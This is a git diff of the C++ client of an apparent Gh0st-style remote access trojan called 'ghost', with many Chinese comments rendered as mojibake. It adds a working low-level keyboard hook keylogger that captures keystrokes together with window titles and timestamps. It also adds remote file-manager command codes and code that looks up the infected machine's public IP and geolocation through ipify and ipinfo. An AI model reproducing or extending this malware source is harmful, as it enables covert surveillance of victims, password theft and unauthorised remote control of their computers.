-    </ClInclude>
-    <ClInclude Include="ShellManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="StdAfx.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="SystemManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="TalkManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="VideoCodec.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="VideoManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="zconf.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="zlib.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="CursorInfo.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-  </ItemGroup>
-  <ItemGroup>
-    <ResourceCompile Include="Script.rc">
-      <Filter>资源文件</Filter>
-    </ResourceCompile>
-  </ItemGroup>
-  <ItemGroup>
-    <None Include="ExportFunTable.def">
-      <Filter>资源文件</Filter>
-    </None>
-  </ItemGroup>
-  <ItemGroup>
-    <Media Include="Res\msg.wav">
-      <Filter>资源文件</Filter>
-    </Media>
-  </ItemGroup>
-  <ItemGroup>
-    <Image Include="Res\ghost.ico">
-      <Filter>资源文件</Filter>
-    </Image>
-    <Image Include="Res\msg.ico">
-      <Filter>资源文件</Filter>
-    </Image>
-  </ItemGroup>
-</Project>
--- a/client/ghost.vcxproj.user
+++ b/client/ghost.vcxproj.user
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
-    <LocalDebuggerCommandArguments>127.0.0.1 6543</LocalDebuggerCommandArguments>
-  </PropertyGroup>
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
-    <LocalDebuggerCommandArguments>127.0.0.1 2356</LocalDebuggerCommandArguments>
-  </PropertyGroup>
-</Project>
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -180,8 +180,10 @@
    <ClCompile Include="Common.cpp" />
    <ClCompile Include="FileManager.cpp" />
    <ClCompile Include="IOCPClient.cpp" />
+    <ClCompile Include="IOCPUDPClient.cpp" />
    <ClCompile Include="KernelManager.cpp" />
    <ClCompile Include="KeyboardManager.cpp" />
+    <ClCompile Include="keylogger.cpp" />
    <ClCompile Include="LoginServer.cpp" />
    <ClCompile Include="Manager.cpp" />
    <ClCompile Include="MemoryModule.c" />
@@ -209,8 +211,10 @@
    <ClInclude Include="domain_pool.h" />
    <ClInclude Include="FileManager.h" />
    <ClInclude Include="IOCPClient.h" />
+    <ClInclude Include="IOCPUDPClient.h" />
    <ClInclude Include="KernelManager.h" />
    <ClInclude Include="KeyboardManager.h" />
+    <ClInclude Include="keylogger.h" />
    <ClInclude Include="LoginServer.h" />
    <ClInclude Include="Manager.h" />
    <ClInclude Include="MemoryModule.h" />
--- a/client/ghost_vs2015.vcxproj.user
+++ b/client/ghost_vs2015.vcxproj.user
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup />
+</Project>
--- a/client/keylogger.cpp
+++ b/client/keylogger.cpp
@@ -0,0 +1,217 @@
+#include "keylogger.h"
+#include <cstring>
+#include <cstdio>
+#include <time.h>
+#include <fstream>
+#include <sstream>
+#include <map>
+#include <string>
+
+#if USING_KB_HOOK
+
+// copied from: https://github.com/GiacomoLaw/Keylogger/blob/master/windows/klog_main.cpp
+// 2024/02/07 source code last modified
+// 2025/02/24 this file last modified
+
+//////////////////////////////////////////////////////////////////////////
+
+// defines whether the window is visible or not
+// should be solved with makefile, not in this file
+#define visible // (visible / invisible)
+// Defines whether you want to enable or disable 
+// boot time waiting if running at system boot.
+#define bootwait // (bootwait / nowait)
+// defines which format to use for logging
+// 0 for default, 10 for dec codes, 16 for hex codex
+#define FORMAT 0
+// defines if ignore mouseclicks
+#define mouseignore
+// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
+// or you will get problems since every function uses this variable.
+
+#if FORMAT == 0
+const std::map<int, std::string> keyname{
+	{VK_BACK, "[BACKSPACE]" },
+	{VK_RETURN,	"\n" },
+	{VK_SPACE,	"_" },
+	{VK_TAB,	"[TAB]" },
+	{VK_SHIFT,	"[SHIFT]" },
+	{VK_LSHIFT,	"[LSHIFT]" },
+	{VK_RSHIFT,	"[RSHIFT]" },
+	{VK_CONTROL,	"[CONTROL]" },
+	{VK_LCONTROL,	"[LCONTROL]" },
+	{VK_RCONTROL,	"[RCONTROL]" },
+	{VK_MENU,	"[ALT]" },
+	{VK_LWIN,	"[LWIN]" },
+	{VK_RWIN,	"[RWIN]" },
+	{VK_ESCAPE,	"[ESCAPE]" },
+	{VK_END,	"[END]" },
+	{VK_HOME,	"[HOME]" },
+	{VK_LEFT,	"[LEFT]" },
+	{VK_RIGHT,	"[RIGHT]" },
+	{VK_UP,		"[UP]" },
+	{VK_DOWN,	"[DOWN]" },
+	{VK_PRIOR,	"[PG_UP]" },
+	{VK_NEXT,	"[PG_DOWN]" },
+	{VK_OEM_PERIOD,	"." },
+	{VK_DECIMAL,	"." },
+	{VK_OEM_PLUS,	"+" },
+	{VK_OEM_MINUS,	"-" },
+	{VK_ADD,		"+" },
+	{VK_SUBTRACT,	"-" },
+	{VK_CAPITAL,	"[CAPSLOCK]" },
+};
+#endif
+
+// A callback function for processing record by user.
+typedef int (CALLBACK* Callback)(const char* record, void* user);
+
+// Global variables.
+
+HHOOK _hook = NULL;
+Callback _cllback = NULL;
+void* _user = NULL;
+
+// Save parse keyboard information and use callback to process record.
+int Save(int key_stroke)
+{
+	std::stringstream output;
+	static char lastwindow[MAX_PATH] = {};
+#ifndef mouseignore 
+	if ((key_stroke == 1) || (key_stroke == 2))
+	{
+		return 0; // ignore mouse clicks
+	}
+#endif
+	HWND foreground = GetForegroundWindow();
+	HKL layout = NULL;
+
+	if (foreground)
+	{
+		// get keyboard layout of the thread
+		GET_PROCESS_EASY(GetWindowThreadProcessId);
+		DWORD threadID = GetWindowThreadProcessId(foreground, NULL);
+		GET_PROCESS_EASY(GetKeyboardLayout);
+		layout = GetKeyboardLayout(threadID);
+	}
+
+	if (foreground)
+	{
+		char window_title[MAX_PATH] = {};
+		GET_PROCESS_EASY(GetWindowTextA);
+		GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
+
+		if (strcmp(window_title, lastwindow) != 0)
+		{
+			strcpy_s(lastwindow, sizeof(lastwindow), window_title);
+			// get time
+			SYSTEMTIME   s;
+			GetLocalTime(&s);
+			char tm[64];
+			sprintf_s(tm, "%d-%02d-%02d  %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, 
+				s.wHour, s.wMinute, s.wSecond);
+
+			output << "\r\n\r\n[<5B><><EFBFBD><EFBFBD>:] " << window_title << "\r\n[ʱ<><CAB1>:]" << tm << "\r\n[<5B><><EFBFBD><EFBFBD>:]";
+		}
+	}
+
+#if FORMAT == 10
+	output << '[' << key_stroke << ']';
+#elif FORMAT == 16
+	output << std::hex << "[" << key_stroke << ']';
+#else
+	if (keyname.find(key_stroke) != keyname.end())
+	{
+		output << keyname.at(key_stroke);
+	}
+	else
+	{
+		GET_PROCESS_EASY(GetKeyState);
+		// check caps lock
+		bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
+
+		// check shift key
+		if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0
+			|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
+		{
+			lowercase = !lowercase;
+		}
+
+		// map virtual key according to keyboard layout
+		GET_PROCESS_EASY(MapVirtualKeyExA);
+		char key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);
+
+		// tolower converts it to lowercase properly
+		if (!lowercase)
+		{
+			key = tolower(key);
+		}
+		output << char(key);
+	}
+#endif
+	// instead of opening and closing file handlers every time, keep file open and flush.
+	if (NULL != _cllback)
+	{
+		_cllback(output.str().c_str(), _user);
+	}
+
+	return 0;
+}
+
+// This is the callback function. Consider it the event that is raised when, in this case,
+// a key is pressed.
+LRESULT WINAPI HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
+{
+	if (nCode >= 0)
+	{
+		// the action is valid: HC_ACTION.
+		if (wParam == WM_KEYDOWN)
+		{
+			// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
+			// This struct contains the data received by the hook callback. As you see in the callback function
+			// it contains the thing you will need: vkCode = virtual key code.
+			KBDLLHOOKSTRUCT kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
+
+			// save to file
+			Save(kbdStruct.vkCode);
+		}
+	}
+
+	// call the next hook in the hook chain. This is necessary or your hook chain will break and the hook stops
+	GET_PROCESS_EASY(CallNextHookEx);
+	return CallNextHookEx(_hook, nCode, wParam, lParam);
+}
+
+// Set the hook and set it to use the callback function provided.
+bool SetHook(Callback callback, void* user)
+{
+	if (NULL != _hook)
+		return true;
+
+	// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
+	// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
+	// function that sets and releases the hook.
+	GET_PROCESS_EASY(SetWindowsHookExA);
+	if (NULL != (_hook = SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
+	{
+		_cllback = callback;
+		_user = user;
+		return true;
+	}
+	return false;
+}
+
+// Release the hook.
+void ReleaseHook()
+{
+	if (NULL != _hook)
+	{
+		GET_PROCESS_EASY(UnhookWindowsHookEx);
+		UnhookWindowsHookEx(_hook);
+		_hook = NULL;
+		_cllback = NULL;
+		_user = NULL;
+	}
+}
+
+#endif
--- a/client/keylogger.h
+++ b/client/keylogger.h
@@ -0,0 +1,15 @@
+#pragma once
+
+#include <Windows.h>
+
+// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ȫ<EFBFBD>ּ<EFBFBD><D6BC>̹<EFBFBD><CCB9><EFBFBD>
+#define USING_KB_HOOK 1
+
+#define GET_PROCESS_EASY(p)
+#define GET_PROCESS(p, q)
+
+typedef int (CALLBACK* Callback)(const char* record, void* user);
+
+bool SetHook(Callback callback, void* user);
+
+void ReleaseHook();
--- a/client/test.cpp
+++ b/client/test.cpp
@@ -5,6 +5,7 @@
 #include <WS2tcpip.h>
 #include <common/commands.h>
 #include "common/dllRunner.h"
+#include <common/iniFile.h>
 #pragma comment(lib, "ws2_32.lib")

 // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
@@ -382,8 +383,9 @@ BOOL Run(const char* argv1, int argv2) {
 			port = argv2;
 		}
 		else {
-			GetPrivateProfileStringA("settings", "master", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
-			port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
+			config cfg;
+			strcpy_s(path, cfg.GetStr("settings", "master", g_ConnectAddress.ServerIP()).c_str());
+			port = cfg.Get1Int("settings", "ghost", ';', 6543);
 		}
 		Mprintf("[server] %s:%d\n", ip, port);
 		do
--- a/common/commands.h
+++ b/common/commands.h
@@ -11,6 +11,8 @@
 #include <chrono>

 #ifdef _WIN32
+#define WIN32_LEAN_AND_MEAN
+#include <windows.h>
 #include <concrt.h>
 #include <corecrt_io.h>
 #define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
@@ -78,6 +80,12 @@ typedef void* LPVOID, * HANDLE;
 #define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file)
 #endif

+inline int isValid_60s() {
+	static time_t tm = time(nullptr);
+	int span = int(time(nullptr) - tm);
+	return span <= 60;
+}
+
 inline int isValid_30s() {
 	static time_t tm = time(nullptr);
 	int span = int(time(nullptr) - tm);
@@ -224,6 +232,8 @@ enum
 	TOKEN_KEYFRAME=134,				// <20>ؼ<EFBFBD>֡
 	TOKEN_BITMAPINFO_HIDE,          // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ
 	TOKEN_SCREEN_SIZE,              // <20><>Ļ<EFBFBD><C4BB>С
+	TOKEN_DRIVE_LIST_PLUGIN = 150,	// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>)
+	TOKEN_DRAWING_BOARD=151,		// <20><><EFBFBD><EFBFBD> 

 	TOKEN_DECRYPT = 199,
 	TOKEN_REGEDIT = 200,            // ע<><D7A2><EFBFBD><EFBFBD>
@@ -380,6 +390,61 @@ enum ChatManager {
 	COMMAND_CHAT_SCREEN_UNLOCK,
 };

+// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
+enum FileManager {
+	COMMAND_COMPRESS_FILE_PARAM=220,
+	COMMAND_FILES_SEARCH_START,
+	COMMAND_FILES_SEARCH_STOP,
+	COMMAND_FILE_EXCEPTION,
+	COMMAND_SEARCH_FILE,
+	COMMAND_FILE_GETNETHOOD,
+	COMMAND_FILE_RECENT,
+	COMMAND_FILE_INFO,
+	COMMAND_FILE_Encryption,
+	COMMAND_FILE_Decrypt,
+	COMMAND_FILE_ENFOCE,
+	COMMAND_FILE_CopyFile,
+	COMMAND_FILE_PasteFile,
+	COMMAND_FILE_zip,
+	COMMAND_FILE_zip_stop,
+	COMMAND_FILE_NO_ENFORCE,
+	COMMAND_FILE_GETINFO,
+
+	COMMAND_FILE_SEARCHPLUS_LIST,
+
+	TOKEN_SEARCH_FILE_LIST,
+	TOKEN_SEARCH_FILE_FINISH,
+	TOKEN_CFileManagerDlg_DATA_CONTINUE,
+	TOKEN_COMPRESS_FINISH,
+	TOKEN_SEARCH_ADD,
+	TOKEN_SEARCH_END,
+	TOKEN_FILE_GETNETHOOD,
+	TOKEN_FILE_RECENT,
+	TOKEN_FILE_INFO,
+	TOKEN_FILE_REFRESH,
+	TOKEN_FILE_ZIPOK,
+	TOKEN_FILE_GETINFO,
+
+	TOKEN_FILE_SEARCHPLUS_LIST,
+	TOKEN_FILE_SEARCHPLUS_NONTFS,
+	TOKEN_FILE_SEARCHPLUS_HANDLE,
+	TOKEN_FILE_SEARCHPLUS_INITUSN,
+	TOKEN_FILE_SEARCHPLUS_GETUSN,
+	TOKEN_FILE_SEARCHPLUS_NUMBER,
+};
+
+// Զ<>̻<EFBFBD><CCBB><EFBFBD>
+enum RemoteDraw {
+	CMD_DRAW_POINT = 0,
+	CMD_DRAW_END = 1,
+	CMD_TRANSPORT = 2,
+	CMD_TOPMOST = 3,
+	CMD_MOVEWINDOW = 4,
+	CMD_SET_SIZE = 5,
+	CMD_DRAW_CLEAR = 6,
+	CMD_DRAW_TEXT = 7,
+};
+
 enum 
 {
 	CLIENT_TYPE_DLL = 0,			// <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
@@ -567,6 +632,8 @@ public:
 	}
 } CONNECT_ADDRESS ;

+#define FOREVER_RUN 2
+
 // <20>ͻ<EFBFBD><CDBB>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>5<EFBFBD><35><EFBFBD><EFBFBD>Ա: 
 // <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߲<EFBFBD><DFB2><EFBFBD>(user)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(conn).
 struct ThreadInfo
@@ -577,6 +644,18 @@ struct ThreadInfo
 	void* user;
 	CONNECT_ADDRESS* conn;
 	ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { }
+	void Exit(int wait_sec = 15) {
+		run = 0;
+		for (int count = 0; p && count++ < wait_sec; Sleep(1000));
+#ifdef _WIN32
+		if (p) TerminateThread(h, 0x20250626);
+		if (p) CloseHandle(h);
+#endif
+		p = NULL;
+		h = NULL;
+		user = NULL;
+		conn = NULL;
+	}
 };

 struct PluginParam {
@@ -617,6 +696,8 @@ enum LOGIN_RES {
 	RES_INSTALL_INFO = 7,					// <20><>װ<EFBFBD><D7B0>Ϣ
 	RES_PROGRAM_BITS = 8,					// <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
 	RES_EXPIRED_DATE = 9,					// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	RES_CLIENT_LOC = 10,					// <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
+	RES_CLIENT_PUBIP = 11,					// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ
 	RES_MAX,
 };

@@ -794,8 +875,8 @@ typedef struct Validation {
 	char To[20];			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	char Admin[100];		// <20><><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>صĹ<D8B5><C4B9><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7>
 	int Port;				// <20><><EFBFBD><EFBFBD>Ա<EFBFBD>˿ڣ<CBBF>Ĭ<EFBFBD>ϵ<EFBFBD>ǰ<EFBFBD>˿ڣ<CBBF>
-	char Reserved[16];		// Ԥ<><D4A4><EFBFBD>ֶ<EFBFBD>
-	Validation(float days, const char* admin, int port) {
+	char Checksum[16];		// Ԥ<><D4A4><EFBFBD>ֶ<EFBFBD>
+	Validation(float days, const char* admin, int port, const char* id="") {
 		time_t from = time(NULL), to = from + time_t(86400 * days);
 		memset(this, 0, sizeof(Validation));
 		std::string fromStr = ToPekingTimeAsString(&from);
@@ -804,6 +885,7 @@ typedef struct Validation {
 		strcpy_s(To, toStr.c_str());
 		strcpy_s(Admin, admin);
 		Port = port;
+		if(strlen(id))memcpy(Checksum, id, 16);
 	}
 	bool IsValid() const {
 		std::string now = ToPekingTimeAsString(NULL);
--- a/common/iniFile.h
+++ b/common/iniFile.h
@@ -2,6 +2,9 @@

 #include "common/commands.h"

+#define YAMA_PATH			"Software\\YAMA"
+#define CLIENT_PATH			"Software\\ServerD11"
+
 class config
 {
 private:
@@ -21,6 +24,14 @@ public:
 		return ::GetPrivateProfileIntA(MainKey.c_str(), SubKey.c_str(), nDef, m_IniFilePath);
 	}

+	// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еĵ<D0B5>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	virtual int Get1Int(const std::string& MainKey, const std::string& SubKey, char ch=';', int nDef=0)
+	{
+		std::string s = GetStr(MainKey, SubKey, "");
+		s = StringToVector(s, ch)[0];
+		return s.empty() ? nDef : atoi(s.c_str());
+	}
+
 	virtual bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data)
 	{
 		std::string strData = std::to_string(Data);
@@ -49,10 +60,10 @@ private:
 public:
 	~iniFile() {}

-	iniFile()
+	iniFile(const std::string& path = YAMA_PATH)
 	{
 		m_hRootKey = HKEY_CURRENT_USER;
-		m_SubKeyPath = "Software\\YAMA";
+		m_SubKeyPath = path;
 	}

 	// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>дΪ<D0B4>ַ<EFBFBD><D6B7><EFBFBD>
--- a/common/location.h
+++ b/common/location.h
@@ -0,0 +1,205 @@
+#pragma once
+#include <string>
+#include <winsock2.h>
+#include <iphlpapi.h>
+#include <ws2tcpip.h>
+#include <WinInet.h>
+#include "logger.h"
+#include "jsoncpp/json.h"
+
+#ifndef _WIN64
+#ifdef _DEBUG
+#pragma comment(lib, "jsoncpp/jsoncppd.lib")
+#else
+#pragma comment(lib, "jsoncpp/jsoncpp.lib")
+#endif
+#else
+#ifdef _DEBUG
+#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
+#else
+#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
+#endif
+#endif
+
+#pragma comment(lib, "wininet.lib")
+#pragma comment(lib, "Iphlpapi.lib")
+
+inline void splitIpPort(const std::string& input, std::string& ip, std::string& port) {
+	size_t pos = input.find(':');
+	if (pos != std::string::npos) {
+		ip = input.substr(0, pos);
+		port = input.substr(pos + 1);
+	}
+	else {
+		ip = input;
+		port = "";
+	}
+}
+
+/**
+ * IPConverter: IP <20><><EFBFBD><EFBFBD><EFBFBD>࣬<EFBFBD><E0A3AC><EFBFBD>ڻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP<49><50><EFBFBD><EFBFBD>ȡIP<49><50>Ӧ<EFBFBD>ĵ<EFBFBD><C4B5><EFBFBD>λ<EFBFBD>õ<EFBFBD>.
+ * Ŀǰ<C4BF><C7B0>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>API<50><49><EFBFBD>ɣ<EFBFBD><C9A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò<EFBFBD>ѯ<EFBFBD><D1AF>վ<EFBFBD><D5BE><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
+ */
+class IPConverter
+{
+public:
+	std::string IPtoAddress(const std::string& ip) { return "implement me"; }
+
+	/**
+	 * <20>жϸ<D0B6><CFB8><EFBFBD><EFBFBD><EFBFBD> IP <20><>ַ<EFBFBD>Ƿ<EFBFBD><C7B7>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
+	 * @param ipAddress IP <20><>ַ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "192.168.1.1"<22><>
+	 * @return <20><><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD> IP<49><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> true; <20><><EFBFBD>򷵻<EFBFBD> false
+	 */
+	bool IsPrivateIP(const std::string& ipAddress) {
+		// <20><> IP <20><>ַ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ת<EFBFBD><D7AA>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ƹ<EFBFBD>ʽ
+		in_addr addr;
+		if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) {
+			Mprintf("Invalid IP address: %s\n", ipAddress.c_str());
+			return false;
+		}
+
+		// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP <20><>ַת<D6B7><D7AA>Ϊ<EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+		unsigned long ip = ntohl(addr.s_addr);
+
+		// <20><><EFBFBD><EFBFBD> IP <20><>ַ<EFBFBD>Ƿ<EFBFBD><C7B7>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ<EFBFBD><CEA7>
+		if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8
+			(ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12
+			(ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16
+			(ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8
+			return true;
+		}
+
+		return false;
+	}
+
+	// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
+	std::string GetLocalLocation() {
+		return GetGeoLocation(getPublicIP());
+	}
+
+	// <20><>ȡ IP <20><>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>(<28><><EFBFBD><EFBFBD>[ipinfo.io])
+	std::string GetGeoLocation(const std::string& IP) {
+		if (IP.empty()) return "";
+
+		std::string ip = IP;
+		if (isLocalIP(ip)) {
+			ip = getPublicIP();
+			if (ip.empty())
+				return "";
+		}
+
+		HINTERNET hInternet, hConnect;
+		DWORD bytesRead;
+		std::string readBuffer;
+
+		// <20><>ʼ<EFBFBD><CABC> WinINet
+		hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
+		if (hInternet == NULL) {
+			Mprintf("InternetOpen failed! %d\n", GetLastError());
+			return "";
+		}
+
+		// <20><><EFBFBD><EFBFBD> HTTP <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+		std::string url = "http://ipinfo.io/" + ip + "/json";
+		hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
+		if (hConnect == NULL) {
+			Mprintf("InternetOpenUrlA failed! %d\n", GetLastError());
+			InternetCloseHandle(hInternet);
+			return "";
+		}
+
+		// <20><>ȡ<EFBFBD><C8A1><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
+		char buffer[4096];
+		while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
+			readBuffer.append(buffer, bytesRead);
+		}
+
+		// <20><><EFBFBD><EFBFBD> JSON <20><>Ӧ
+		Json::Value jsonData;
+		Json::Reader jsonReader;
+		std::string location;
+
+		if (jsonReader.parse(readBuffer, jsonData)) {
+			std::string country = jsonData["country"].asString();
+			std::string city = jsonData["city"].asString();
+			std::string loc = jsonData["loc"].asString();  // <20><>γ<EFBFBD><CEB3><EFBFBD><EFBFBD>Ϣ
+			if (city.empty() && country.empty()) {
+			}
+			else if (city.empty()) {
+				location = country;
+			}
+			else if (country.empty()) {
+				location = city;
+			}
+			else {
+				location = city + ", " + country;
+			}
+			if (location.empty() && IsPrivateIP(ip)) {
+				location = "Local Area Network";
+			}
+		}
+		else {
+			Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str());
+		}
+
+		// <20>رվ<D8B1><D5BE><EFBFBD>
+		InternetCloseHandle(hConnect);
+		InternetCloseHandle(hInternet);
+
+		return location;
+	}
+
+	bool isLoopbackAddress(const std::string& ip) {
+		return (ip == "127.0.0.1" || ip == "::1");
+	}
+
+	bool isLocalIP(const std::string& ip) {
+		if (isLoopbackAddress(ip)) return true; // <20>ȼ<EFBFBD><C8BC><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>ַ
+
+		ULONG outBufLen = 15000;
+		IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
+		if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) {
+			free(pAddresses);
+			pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
+		}
+
+		if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) {
+			for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) {
+				for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) {
+					char addressBuffer[INET6_ADDRSTRLEN] = { 0 };
+					getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST);
+
+					if (ip == addressBuffer) {
+						free(pAddresses);
+						return true;
+					}
+				}
+			}
+		}
+
+		free(pAddresses);
+		return false;
+	}
+
+	// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP, <20><>ȡʧ<C8A1>ܷ<EFBFBD><DCB7>ؿ<EFBFBD>
+	std::string getPublicIP() {
+		HINTERNET hInternet, hConnect;
+		DWORD bytesRead;
+		char buffer[1024] = { 0 };
+
+		hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
+		if (!hInternet) return "";
+
+		hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
+		if (!hConnect) {
+			InternetCloseHandle(hInternet);
+			return "";
+		}
+
